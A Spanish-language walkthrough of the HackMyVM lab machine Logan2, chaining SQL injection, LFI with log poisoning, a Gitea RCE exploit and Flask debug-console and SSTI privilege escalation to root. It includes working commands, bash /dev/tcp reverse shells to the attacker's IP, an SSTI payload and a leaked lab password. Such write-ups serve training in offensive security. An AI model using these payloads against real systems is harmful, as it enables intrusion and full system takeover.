HackMyVM - Logan2

logo

  • SQL-Injection/Time-Based Blind
  • LFI to RCE/Log-Poisoning
  • CVE-2020-14144 - GiTea authenticated RCE
  • Interactive Console - Privesc
  • SSTI - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.140

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,3000 192.168.1.140

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 10:ed:dd:ab:26:fd:f4:9f:28:1e:89:93:f4:58:16:ab (ECDSA)
|_  256 43:3b:d9:8c:12:44:e9:92:be:cf:1a:78:fd:33:38:67 (ED25519)
80/tcp   open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Logan
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.57 (Debian)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=d90db38527a80575; Path=/; HttpOnly
|     Set-Cookie: _csrf=R3etPCL9Ft-DUQSbuF14N29pU086MTY5NjMyMjMxNTU4NDYwOTUwMg; Path=/; Expires=Wed, 04 Oct 2023 08:38:35 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 03 Oct 2023 08:38:35 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=6ce0d8ae92e01053; Path=/; HttpOnly
|     Set-Cookie: _csrf=ztc_N8-Jh9djSWXZygd69P_ONF86MTY5NjMyMjMyMDYwNjY1NDg5OA; Path=/; Expires=Wed, 04 Oct 2023 08:38:40 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 03 Oct 2023 08:38:40 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c

HTTP TCP - 80

http

En el código fuente de script.js veo que usa el archivo save-user-agent.php.

scriptjs

Al interceptar la petición con burpsuite veo que manda la cabecera del user-agent al archivo save-user-agent.php.

burp

Guardo la captura con copy to file para usarlo con sqlmap.

❯ sqlmap -r agent --level 5 --risk 3 --dbs --batch

available databases [2]:
[*] information_schema
[*] logan

Buscando las tablas de logan.

❯ sqlmap -r agent --level 5 --risk 3 -D logan --tables

Database: logan
[3 tables]
+----------+
| browser  |
| comments |
| users    |
+----------+

Dumpeo de la tabla users y encuentro el subdominio newsitelogan.logan.hmv.

❯ sqlmap -r agent --level 5 --risk 3 -T users --dump

Database: logan
Table: users
[1 entry]
+------------------------------+--------+
| email                        | user   |
+------------------------------+--------+
| logan@newsitelogan.logan.hmv | logan  |
+------------------------------+--------+

Añado el nuevo subdominio a mi archivo hosts y seguidamente lo visito con el navegador.

subdomain

Fuerza bruta de extensiones.

❯ gobuster dir -u http://newsitelogan.logan.hmv/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://newsitelogan.logan.hmv/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/comments.php         (Status: 500) [Size: 0]
/config.php           (Status: 200) [Size: 0]
/images               (Status: 301) [Size: 333] [--> http://newsitelogan.logan.hmv/images/]
/index.php            (Status: 200) [Size: 51045]
/javascript           (Status: 301) [Size: 337] [--> http://newsitelogan.logan.hmv/javascript/]
/server-status        (Status: 403) [Size: 287]

En el código fuente veo en un comentario el archivo photos-website-logan.php que parece que es el encargado de cargar imágenes.

sourcecode

Realizando enumeración básica encuentro un LFI.

❯ curl 'http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
logan:x:1000:1000:logan,,,:/home/logan:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
git:x:104:113:Git Version Control,,,:/home/git:/bin/bash
kevin:x:1001:1001:kevin,,,:/home/kevin:/bin/bash

Con wfuzz realizo fuerza bruta para encontrar archivos que pueda leer.

❯ wfuzz -c -t 200 --hc=404 --hl=0 -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt 'http://newsitelogan.logan.hmv/photos-website-logan.php?photo=FUZZ'                               W        0 Ch        "/etc/h
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
pd/logs/error_log"    
Target: http://newsitelogan.logan.hmv/photos-website-logan.php?photo=FUZZ
Total requests: 922
pd/logs/error.log"    
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                     
=====================================================================
                                
000000649:   200        4 L      79 W       724 Ch      "../../../../../../../var/log/apache2/error.log"                            
000000645:   200        1508 L   18141 W    232056 Ch   "../../../../../../../var/log/apache2/access.log"                            

Con curl leo el archivo access.log.

❯ curl -s 'http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../../../var/log/apache2/access.log'
Logs are cleaned every minut
192.168.1.17 - - [12/Oct/2023:06:55:02 -0500] "GET /photos-website-logan.php?photo=../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 233 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0"
192.168.1.17 - - [12/Oct/2023:06:55:16 -0500] "GET / HTTP/1.1" 200 10751 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0"
192.168.1.17 - - [12/Oct/2023:06:55:17 -0500] "GET /photos-website-logan.php?photo=../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 492 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0"

Al tener acceso al archivo access.log realizo un log-poisoning, en este caso uso el user-agent para poner el código de la función phpinfo, con esta función puedo ver como está configurado el servidor php porque he tenido problemas para mandarme una shell.

burpphpinfo

Al mandar la petición con burpsuite puedo ver el phpinfo desde el access.log.

phpinfo

Me doy cuenta de que existen algunas funciones deshabilitadas con lo cual no podré usar una shell para ganar acceso al sistema.

phpinfodisablef2

Anteriormente al realizar fuerza bruta de extensiones encontré varios archivos php así que voy a tratar de incluir los archivos con la función include() y leerlos con los famosos filtros de php.

burpinclude

Con curl mando la petición junto el filtro php y obtengo la cadena en base64.

❯ curl -s 'http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../../../var/log/apache2/access.log&c=php://filter/convert.base64-encode/resource=config.php'
192.168.1.17 - - [12/Oct/2023:09:00:24 -0500] "GET /photos-website-logan.php?photo=../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 504 "-" "Mozilla/5.0 PD9waHAKCQoJJHNlcnZlcm5hbWUgPSAibG9jYWxob3N0IjsKCSR1c2VybmFtZSA9ICJsb2dhbiI7CgkkcGFzc3dvcmQgPSAiU3VwZXJfbG9nYW4xMjM0IjsKCSRkYm5hbWUgPSAibG9nYW4iOwoKCS8vIENyZWF0ZSBjb25uZWN0aW9uCgkkY29ubiA9IG5ldyBteXNxbGkoJHNlcnZlcm5hbWUsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGJuYW1lKTsKCS8vIENoZWNrIGNvbm5lY3Rpb24KCWlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewoJICBkaWUoIkNvbm5lY3Rpb24gZmFpbGVkOiAiIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3IpOwoJfQoKPz4K AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36"

Decodifico la cadena y encuentro unas credenciales.

<?php

	$servername = "localhost";
	$username = "logan";
	$password = "S****_*********";
	$dbname = "logan";

	// Create connection
	$conn = new mysqli($servername, $username, $password, $dbname);
	// Check connection
	if ($conn->connect_error) {
	 die("Connection failed: " . $conn->connect_error);
	}
?>

Ahora visito el puerto 3000 y encuentro un servicio Gitea en el cual se puede ver que usa la versión 1.12.5.

gitea

Inicio sesión con las credenciales encontradas.

giteadashboard

Explorando el directorio de future_web encuentro el archivo app.py.

apppy

Con metasploit hago una búsqueda de gitea y encuentro un exploit RCE para Gitea 1.12.5.

msf6 > search gitea

Matching Modules
================

   #  Name                                    Disclosure Date  Rank       Check  Description
   -  ----                                    ---------------  ----       -----  -----------
   1  exploit/multi/http/gitea_git_hooks_rce  2020-10-07       excellent  Yes    Gitea Git Hooks Remote Code Execution

Configuro el exploit y lo lanzo.

msf6 exploit(multi/http/gitea_git_hooks_rce) > run

[*] Started reverse TCP handler on 192.168.1.17:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Gitea version is 1.12.5
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Authenticate with "logan/Super_logan1234"
[+] Logged in
[*] Create repository "Alphazap_Y-Solowarm"
[+] Repository created
[*] Setup post-receive hook with command
[+] Git hook setup
[*] Create a dummy file on the repo to trigger the payload
[+] File created, shell incoming...
[*] Sending stage (3045380 bytes) to 192.168.1.140
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Meterpreter session 1 opened (192.168.1.17:4444 -> 192.168.1.140:57578) at 2023-10-12 16:56:32 +0200
[*] Cleaning up
[*] Repository Alphazap_Y-Solowarm deleted.

meterpreter > 

Como la shell del meterpreter es bastante justa me lanzo una nueva shell.

meterpreter > bash -c "bash -i >& /dev/tcp/192.168.1.17/443 0>&1"

Una vez termino el tratamiento de la tty enumero permisos de sudo.

git@logan2:$ sudo -l
Matching Defaults entries for git on logan2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User git may run the following commands on logan2:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/app.py

Al lanzar app.py crea un servidor web en python en el puerto 8000 y genera un pin.

git@logan2:~$ sudo /usr/bin/python3 /opt/app.py
 * Serving Flask app 'app'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:8000
 * Running on http://192.168.1.140:8000
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 768-889-478

Visualizo la web desde el navegador.

apppy8000

Fuerza bruta de directorios.

❯ gobuster dir -u http://192.168.1.140:8000 -w /usr/share/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.140:8000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/console              (Status: 200) [Size: 1563]
/test                 (Status: 200) [Size: 160]

A partir de aquí hay dos formas de obtener el root

Método 1

Me voy al directorio console y me aparece un panel para ingresar un pin, aquí introduzco el pin que anteriormente me ha generado app.py.

console

Una vez ingeso el pin me muestra una consola interactiva.

consoleready

Importo el modulo os y con chmod le doy permisos SUID al binario bash.

chmodbash

Desde el usuario git obtengo el root de la siguiente forma.

git@logan2:~$ bash -p
bash-5.2# whoami
root
Método 2

Con curl visito el directorio /test.

❯ curl -s 192.168.1.140:8000/test | html2text

Thank you None

En el código fuente de app.py se puede ver @app.route(""/test") y el parámetro name.

stti

Detecto un SSTI.

stti49

Para explotar la vulnerabilidad encuentro este recurso de PayLoadsAllTheThings para obtener un RCE.

sttirce

Lanzo una shell de bash URL-Encodeada desde el navegador.

http://192.168.1.140:8000/test?name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.17%2F443%200%3E%261%22').read() }}

Y finalmente obtengo la shell de root.

❯ nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.17] from newsitelogan.logan.hmv [192.168.1.140] 52748
root@logan2:/home/git# id
id
uid=0(root) gid=0(root) groups=0(root)

Y aquí termina la máquina Logan2.

Saludos!